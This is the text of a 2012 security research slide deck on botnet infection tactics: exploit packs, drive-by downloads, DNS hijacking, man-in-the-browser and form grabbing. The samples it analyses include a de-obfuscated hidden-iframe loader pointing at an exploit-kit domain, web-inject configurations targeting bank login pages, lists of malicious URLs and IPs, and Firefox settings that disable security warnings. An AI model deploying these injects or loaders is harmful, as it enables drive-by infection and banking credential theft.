Bonded with Botnets

Hard to Capture the Beast
About Us

- **Aditya K Sood**
  - PhD Candidate at Michigan State University
  - Worked for Armorize, COSEINC, KPMG and others as contractor.
  - Active Speaker at Security conferences
    - DEFCON, RSA, SANS, HackInTheBox, OWASP AppSec, BruCon and others
  - LinkedIn - http://www.linkedin.com/in/adityaks
  - Twitter: @AdityaKSood

- **Dr. Richard J Enbody**
  - Associate Professor, CSE, Michigan State University
  - Since 1987, teaching computer architecture/ computer security
  - Patents Pending – Hardware Buffer Overflow Protection
Agenda

- Overview
- Present-day bot infection tactics
- Subverting Client-side systems integrity
- Conclusion
The opinions and views expressed in this presentation are completely based on our independent research and do not relate to any of our previous or present employers.
Generations of Botnets

- **First Generation**
  - Internet Relay Chat (IRC) Protocol

- **Second Generation**
  - Peer-to-Peer (P2P) Protocol

- **Third Generation**
  - Hyper Text Transfer Protocol (HTTP)

- **Hybrid**
  - Mix of characteristics of different generations of botnets
Browser Malware Taxonomy

Class-A

Class-B

Class-C
Malware Paradigm

THE DEVIL IS IN THE DETAILS.
Browser Exploit Packs (BEPs)

- **Browser Exploit Pack**
  - BlackHole is running on fire
    - Techniques
      - User-agent based fingerprinting
      - Plugin detector capability for scrutinizing the plugins
      - Serving exploit once per IP Address
      - Java exploits are used heavily for spreading infections
      - Support for other exploits such as PDF, Flash etc

Refer, our previous research on BlackHole presented at Virus Bulletin Conference, 2011

Obfuscated Iframes — Present-day

- **Obfuscated pattern**

  — Taken during analysis of AT&T Phishing Campaign
Obfuscated Iframes – Present-day

- De-obfuscated pattern
  - Output

```javascript
if (document.getElementsByTagName('body')[0]){
  iframer();
} else {
  document.write("<iframe src='http://voicecontroldevotes.info/main.php?page=6df8994172330e77' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'>\</iframe>"
  });
  function iframer(){
    var f =
    document.createElement('iframe');f.setAttribute('src','http://voicecontroldevotes.info/main.php?page=6df8994172330e77');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
  }
```

- More details on analysis
<table>
<thead>
<tr>
<th>Date</th>
<th>URL</th>
<th>IP Address</th>
<th>URL</th>
<th>Exploit Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012/08/20_18:13</td>
<td>img.showermedallions.com/main.php?page=260f08d8599854f0</td>
<td>184.82.87.100</td>
<td>184-82-87-100.static.hostnoc.net.</td>
<td>Blackhole exploit kit</td>
</tr>
<tr>
<td>2012/08/20_16:47</td>
<td>xpjlelqe.lflinkup.net/main.php?page=9dd146e88937797b</td>
<td>178.216.52.79</td>
<td>-</td>
<td>Blackhole exploit kit</td>
</tr>
<tr>
<td>2012/08/20_16:47</td>
<td>wrjrgzfphfrwrer.ru/in.cgi?17</td>
<td>178.216.52.75</td>
<td>-</td>
<td>redirects to Blackhole exploit kit</td>
</tr>
<tr>
<td>2012/08/20_09:19</td>
<td><a href="http://www.frtuiop.3-a.net/main.php?page=588ec4e4ea3b00d8">www.frtuiop.3-a.net/main.php?page=588ec4e4ea3b00d8</a></td>
<td>194.219.29.235</td>
<td>-</td>
<td>Blackhole exploit kit</td>
</tr>
<tr>
<td>2012/08/20_09:19</td>
<td>tpgkb.sellclassics.com/main.php?page=4a9edc02ba0a2ff0</td>
<td>178.216.52.79</td>
<td>-</td>
<td>Blackhole exploit kit</td>
</tr>
<tr>
<td>2012/08/20_09:19</td>
<td>wmphw.lflinkup.net/main.php?page=9dd146e88937797b</td>
<td>178.216.52.79</td>
<td>-</td>
<td>Blackhole exploit kit</td>
</tr>
<tr>
<td>2012/08/19_17:18</td>
<td>swithz.com/main.php?page=8b052d9ee0a27d8c</td>
<td>37.9.61.171</td>
<td>-</td>
<td>Blackhole exploit kit</td>
</tr>
</tbody>
</table>
# Phoenix BEP

<table>
<thead>
<tr>
<th>Date</th>
<th>Domain</th>
<th>IP Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012/06/29_22:05</td>
<td>teletulips.com/</td>
<td>188.190.98.132</td>
<td>redirects to Phoenix exploit kit/requires referer</td>
</tr>
<tr>
<td>2012/06/29_22:05</td>
<td>hambaarstikeskus.com/</td>
<td>188.190.98.132</td>
<td>redirects to Phoenix exploit kit/requires referer</td>
</tr>
<tr>
<td>2012/06/29_22:05</td>
<td>followersfollowedmagicjack.com/</td>
<td>188.190.98.132</td>
<td>redirects to Phoenix exploit kit/requires referer</td>
</tr>
<tr>
<td>2012/06/29_22:05</td>
<td>xmlbasedheavy.com/</td>
<td>188.190.98.132</td>
<td>redirects to Phoenix exploit kit/requires referer</td>
</tr>
<tr>
<td>2012/06/29_22:05</td>
<td>sexdildoking.com/</td>
<td>188.190.98.132</td>
<td>redirects to Phoenix exploit kit/requires referer</td>
</tr>
<tr>
<td>2012/06/29_21:50</td>
<td>xmlbasedheavy.com/ph/eoxwhsd.php</td>
<td>188.190.98.132</td>
<td>Phoenix exploit kit</td>
</tr>
<tr>
<td>2012/04/10_08:31</td>
<td>-</td>
<td>219.94.194.138:8080/navigator/jueoaritjuir.php</td>
<td>-</td>
</tr>
<tr>
<td>2012/04/09_12:25</td>
<td>-</td>
<td>112.78.124.115:8080/navigator/jueoaritjuir.php</td>
<td>-</td>
</tr>
<tr>
<td>2012/04/05_08:08</td>
<td>-</td>
<td>41.168.5.140:8080/navigator/jueoaritjuir.php</td>
<td>-</td>
</tr>
</tbody>
</table>

12
<table>
<thead>
<tr>
<th>Date</th>
<th>Website URL</th>
<th>IP Address</th>
<th>Domain Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012/08/11_13:58</td>
<td>ruthepstein.co.uk/26374788.html</td>
<td>188.65.115.185</td>
<td>omega.srv2.com.</td>
</tr>
<tr>
<td>2012/08/21_15:15</td>
<td>static.regioneo.com/91543467.html</td>
<td>78.109.84.110</td>
<td>regioneo.typhon.net.</td>
</tr>
<tr>
<td>2012/08/21_21:00</td>
<td>hsdainvest.com/44783467.html</td>
<td>213.186.33.17</td>
<td>cluster006.ovh.net.</td>
</tr>
<tr>
<td>2012/08/18_00</td>
<td>mallorca-villa-cas-nins.de/52633467.html</td>
<td>85.13.146.225</td>
<td>dd28334.kasserver.com.</td>
</tr>
<tr>
<td>2012/08/16_45</td>
<td>musee-saintraphael.com/53103467.html</td>
<td>213.186.33.19</td>
<td>cluster010.ovh.net.</td>
</tr>
<tr>
<td>2012/08/16_30</td>
<td>anfsgtAlsace.fr/59863467.html</td>
<td>213.186.33.19</td>
<td>cluster010.ovh.net.</td>
</tr>
<tr>
<td>2012/08/15_45</td>
<td>scylla.leolux.com/10533467.html</td>
<td>89.20.83.118</td>
<td>mercury.systemec.nl.</td>
</tr>
<tr>
<td>2012/08/14_45</td>
<td>sbodedriesprong.nl/72893467.html</td>
<td>213.249.68.83</td>
<td>ipv48368249213.s073.networking4all.com.</td>
</tr>
<tr>
<td>2012/08/12_00</td>
<td>belgianexpeditions.be/66893467.html</td>
<td>46.30.211.62</td>
<td>-</td>
</tr>
<tr>
<td>2012/08/04_00</td>
<td>center4tubalreversal.com/69303467.html</td>
<td>74.200.217.86</td>
<td>center4tubalreversal.com.</td>
</tr>
<tr>
<td>2012/08/03_45</td>
<td>creabio.fr/99463467.html</td>
<td>213.186.33.4</td>
<td>cluster003.ovh.net.</td>
</tr>
</tbody>
</table>
Demo
Drive-by-Download Attacks

- Drive-by-Download
  - Victim browser is forced to visit infected website
  - Iframe redirects browser to the BEP
  - Exploit is served by fingerprinting the browser environment
  - Browser is exploited successfully
  - BEP silently downloads the malware onto the victim machine
Drive-by Frameworks
Demo
Install-by-Install (IBI)

- **Install-by-Install**
  - Concept: Installing malicious executables on the already infected systems
  - Different from Pay-per Install (PPI) programs
    - PPI works effectively with Browser Exploit Packs
    - It is a kind of fresh installation of bots on the non-infected systems
  - IBI and PPI are the different sides of the same coin
  - Sold as different services in the underground market
  - IBI is used in the crimeware services such as bot shops, task execution, etc.
Task Execution - Install-by-Install (IBI)

- Installing malicious executables on the already infected systems
- Different from Pay-per-Install (PPI) programs
  - PPI works effectively with Browser Exploit Packs
  - It is a kind of fresh installation of bots on the non-infected systems
- IBI and PPI are the different sides of the same coin
- Sold as different services in the underground market
- IBI is used in the crimeware services such as bot shops
Malvertisements

- Malvertisement
  - Online malicious advertisements
  - Content Delivery Networks (CDNs) are infected to trigger malvertising
    - Distributed attack

More on the malvertisement, refer to following post and paper:
Armorize’s Blog - [http://blog.armorize.com/2011/05/porn-sites-have-lots-of-trafficand.html](http://blog.armorize.com/2011/05/porn-sites-have-lots-of-trafficand.html)
Malvertisement Paper - [http://www.slideshare.net/adityaks/malvertising-exploiting-web-advertis](http://www.slideshare.net/adityaks/malvertising-exploiting-web-advertis)
Infected Web Hosting Servers

- Data Centers | Web Hosting - Exploitation
  - Several websites are hosted on a single server sharing IP address
    - DNS names are mapped virtually to the same IP
  - Vulnerability in one website can seriously compromise the server
    - Insecure file uploading functionality
      - Uploading remote management shells such as c99 etc
      - **Automated iframe injector embeds malicious iframe on all webpages**
      - **Making configuration changes such as redirecting users to malicious domains**
    - Cookie replay attacks in hosting domain website
      - **Authentication bypass : reading customer queries on the web based management panel**
      - Extracting credentials directly by exploiting design flaws in hosting panels
Exploiting Social Networks

- Social Networks
  - Attackers exploit the inherent design flaws in the social networks
  - Use to spread malware at a large scale

  - LikeJacking (≈ ClickJacking)
    - Use to add malicious links on user’s profile in Facebook
    - LikeJacking collaboratively used with ClickJacking
    - Efficient in spreading malware
Tactics – Subverting System’s Integrity
Understanding Ruskill

- What is Ruskill?
  - A termed coined in Russia
    - It refers to the group of warriors who demonstrate their skill in the battle
    - Typically used by Diablo game players to demonstrate the strength and power

- How does Ruskill is related to bots?
  - Ruskill module is used to demonstrate the capability of bots
  - Removing traces of malware in the system after successful reboot
Inside Ruskill Module

- Found in the NGR (Dorkbot)
- Remote file downloading and execution
  - Ruskill allows the bot to fetch any executable from third-party resource and execute it in the compromised system
- Restoring System
  - Ruskill monitors all the changes performed by the malicious executable in the system
  - Ruskill restores the registry, files ad network settings to the same state (before the execution of malicious binary) after reboot
  - Deletes the malicious executable after successful execution in the system
Demo
DNS Changer

- DNS Changer
  - How this works?
    - Replacing the DNS server entries in the infected machine with IP addresses of the malicious DNS server
    - Adding rogue entries in the hosts configuration file
    - Executing DNS amplification attack by subverting the integrity of LAN devices such as routers and gateways
      - It results in DNS hijacking at a large scale in the network
    - Hooking DNS libraries
      - The preferred method is Inline hooking in which detour and trampoline functions are created to play with DNS specific DLLs.
DNS Changer

- DNS Changer
  - Inside DNS hooking
    - Hooking DNS API
      - Hooking DNSQuery (*) function calls in `dnsapi.lib/dnsapi.dll`
      - Implemented by creating a blacklist
      - Bot hijacks the DNS resolution flow by filtering all the incoming DNS requests
    - Hooking DNS Cache Resolver Service
      - Cache resolver service is used for DNS caching
      - Bot hooks `sendto function in ws2_32.dll` to verify the origin of DNS query to validate if sendto function is called by `dnsrsslvr.dll`
Downgrading Browser Security

- Removing Protections
  - Nullifying browser client side security to perform stealthy operations
  - Internet Explorer
    - Tampering zone values in the registry
      - `\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones`
  - Firefox
    - Manipulating entries in user.js file
      - `user_pref("security.warn_submit_insecure",false);`
        - Browser does not raise an alert box when information is sent over HTTP while submitting forms
      - `user_pref("security.warn_viewing_mixed",false);`
        - Remove the warning of supporting mixed content over SSL

OLD School trick but works very effectively. Several other techniques of subverting the browser security also exists.
Man-in-the-Browser (MitB)

- Inside MitB
  - MitB typically refers to a userland rootkit that exploits the browser integrity

1. User opens web page for initiating session and making online transactions
2. Web page data in the form of HTTP request is hooked by MitB agent
3. Web page data is altered and injected
4. User supplies login credentials and account information
5. MitB agent steals the credentials and sends it back to C&C server
6. Altered POST data is sent back to server for performing the final operation
7. Server sends back HTTP response to the user which is intercepted by the MitB agent again
8. HTTP responses are altered to show illegitimate content to the user
Chase Notification Alert!

Note: The Pop up is triggered in user’s active session. So what it is actually? No doubt it is a Popup, but the technique is termed as Web Injects not phishing or something like that.
Web Injests

- Based on the concept of hooking specific functions in the browser DLLs
- On the fly infection tactic
- Execution flow
  - Bot injects malicious content in the incoming HTTP responses
  - Injections are based on the static file named as webinjects.txt
  - Rules are statically defined by the botmaster
  - Bot fetches rules from the webinfects.txt file and injects in the live webpages
- Information stealing in a forceful manner
  - Exploits user ignorance

```java
set_url https://engine.paymentgate.ru/bpservlet/BPC/index.jsp* GP
data_before
  <td><input class="text" type="text" name="userId" value=""></td>
data_end
data_inject
  <td class="merchantLogin">йёйёйёйё</td>
data_end
```
What is meant by GPH flags?

- Exploitation and infection metrics
  - G - injection will be made only for the resources that are requested by the GET
  - P - injection will be made only for the resources that are requested by the POST
  - L - is a flag for grabbing content between the tags `data_before` and `data_after` inclusive
  - H – similar as L except the ripped content is not included and the contents of tags `data_before` and `data_after`
Web Injects – Real Time Cases (1)

```
set_url https://web.da-us.citicbank.com/cgi-bin/citifi/portal/1/1.do GP

data_before
src="/cm/js/branding.js"></script>
data_end
data_inject
<SCRIPT>
function set_cookie(name, value, expires)
{
  if (!expires) { expires = new Date();}
document.cookie = name + "=" + escape(value) + "; expires=" + expires.toGMTString() + "; path="/;
}

function get_cookie(name) {
cookie_name = name + "="; cookie_length = document.cookie.length; cookie_begin = 0;
while (cookie_begin < cookie_length)
{
  value_begin = cookie_begin + cookie_name.length;
  if (document.cookie.substring(cookie_begin, value_begin) == cookie_name)
  {
    var value_end = document.cookie.indexOf(";", value_begin);
    if (value_end == -1) { value_end = cookie_length;}
    return unescape(document.cookie.substring(value_begin, value_end));
  }
  cookie_begin = document.cookie.indexOf(" ", cookie_begin) + 1;
  if (cookie_begin == 0) { break;}
}
return null; }
</SCRIPT>
data_end
data_after
<noscript>
data_end
```

Forceful Cookie Injection in Citibank’s website to manipulate the user’s session
Web Injects – Real Time Cases (2)

Injecting HTML content in Bank of America’s webpages to steal the ATM number and the Pass code.

Injecting HTML content in Wells Fargo bank to steal user’s ATM code.
Form-grabbing

- **Form Grabbing**
  - It is an advanced technique of capturing information present in forms
Why Form Grabbing?

- Keylogging produces plethora of data
- Form grabbing – extracting data from the GET/POST requests
- Based on the concept of hooking
- No real protection against malware
Form-grabbing

### Harvested Data

<table>
<thead>
<tr>
<th>View report (HTTPS request, 205 bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bot ID:</td>
</tr>
<tr>
<td>Botnet:</td>
</tr>
<tr>
<td>Version:</td>
</tr>
<tr>
<td>OS Version:</td>
</tr>
<tr>
<td>OS Language:</td>
</tr>
<tr>
<td>Local time:</td>
</tr>
<tr>
<td>GMT:</td>
</tr>
<tr>
<td>Session time:</td>
</tr>
<tr>
<td>Report time:</td>
</tr>
<tr>
<td>Country:</td>
</tr>
<tr>
<td>IPv4:</td>
</tr>
<tr>
<td>Comment for bot:</td>
</tr>
<tr>
<td>In the list of used:</td>
</tr>
<tr>
<td>Process name:</td>
</tr>
<tr>
<td>User of process:</td>
</tr>
</tbody>
</table>

Harvested data from POST requests. Kaspersky’s anti virus license key entered by the user.
Conclusion

- Continuous war of existence.
- Law of Asymmetry rules in the world of botnets.
Questions !
Thanks

- US-CERT GFIRST Team
  - [http://www.us-cert.gov/GFIRST/](http://www.us-cert.gov/GFIRST/)

- SecNiche Security Labs
  - [http://www.secniche.org](http://www.secniche.org)
  - [http://secniche.blogspot.com](http://secniche.blogspot.com)

- Contact Me
  - Email: adi_ks [at] secniche.org